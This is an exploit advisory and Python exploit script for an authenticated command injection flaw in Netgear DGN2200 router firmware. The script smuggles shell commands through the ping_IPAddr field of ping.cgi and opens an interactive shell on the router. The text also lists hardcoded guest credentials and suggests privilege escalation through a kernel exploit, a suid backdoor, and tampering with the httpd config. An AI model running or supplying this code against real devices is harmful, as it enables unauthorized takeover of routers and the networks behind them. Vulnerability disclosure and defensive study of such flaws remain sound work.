Netgear DGN2200 Authenticated Remote Command Execution
Posted on 22 February 2017
# Exploit Title: NETGEAR Firmware DGN2200v1/v2/v3/v4 NON-ADMIN AUTHENTICATED RCE # Date: 2017-02-18 # Exploit Author: SivertPL # Vendor Homepage: http://netgear.com/ # Software Link: http://www.downloads.netgear.com/files/GDC/DGN2200/DGN2200%20Firmware%20Version%201.0.0.20%20-%20Initial%20Release%20(NA).zip # Version: 10.0.0.20 (initial) - 10.0.0.50 (latest, still 0-day!) # Tested on: DGN2200v1,v2,v3,v4 There's a pretty nice command injection vulnerability present in all DGN2200 firmwares. The vulnerability allows you to view the output of the command which is very convenient. It doesn't require admin access although user/guest access is necessary to exploit it (some models have hardcoded guest credentials: Guest/Guest or Gearguy/Geardog). The exploit allows to execute OS commands on the router with "nobody" permissions although there are a few ways in which you can escalate to r00t !! These routers DO NOT support telnet/ssh access so you can use this exploit to access the shell if you want to !! There is NO other way to access the OS shell of the router other than by using a vuln. EXPLOIT CODE BELOW ---------------------------------------------------- #!/usr/bin/python #Provides access to default user account, privileges can be easily elevated by using either: # - a kernel exploit (ex. memodipper was tested and it worked) # - by executing /bin/bd (suid backdoor present on SOME but not all versions) # - by manipulating the httpd config files to trick the root user into executing your code (separate advisory will be released soon along with the 2nd vuln) #Pozdrawiam: Kornela, Komara i Sknerusa import sys import requests #You can change these credentials to ex. Gearguy/Geardog or Guest/Guest which are hardcoded on SOME firmware versions #These routers DO NOT support telnet/ssh access so you can use this exploit to access the shell if you want to login = 'admin' password = 'password' def main(): if len(sys.argv) < 2 or len(sys.argv) == 3: print "./netgearpwn.py <router ip>" return spawnShell() def execute(cmd): r = requests.post("http://" + sys.argv[1] + "/ping.cgi", data={'IPAddr1': 12, 'IPAddr2': 12, 'IPAddr3': 12, 'IPAddr4': 12, 'ping':"Ping", 'ping_IPAddr':"12.12.12.12; " + cmd}, auth=(login, password), headers={'referer': "http://192.168.0.1/DIAG_diag.htm"}) result = parseOutput(r.text) return result def spawnShell(): r = execute("echo pwn3d") if any("pwn3d" in s for s in r) == False: print "Something went wrong, is the system vulnerable? Are the credentials correct?" return while True: cmd = raw_input("$ ") r = execute(cmd) for l in r: print l.encode("utf-8") def parseOutput(output): yet = False a = False result = [] for line in output.splitlines(): if line.startswith("<textarea"): yet = True continue if yet == True: if line.startswith("</textarea>"): break result.append(line) return result if __name__ == "__main__": main()
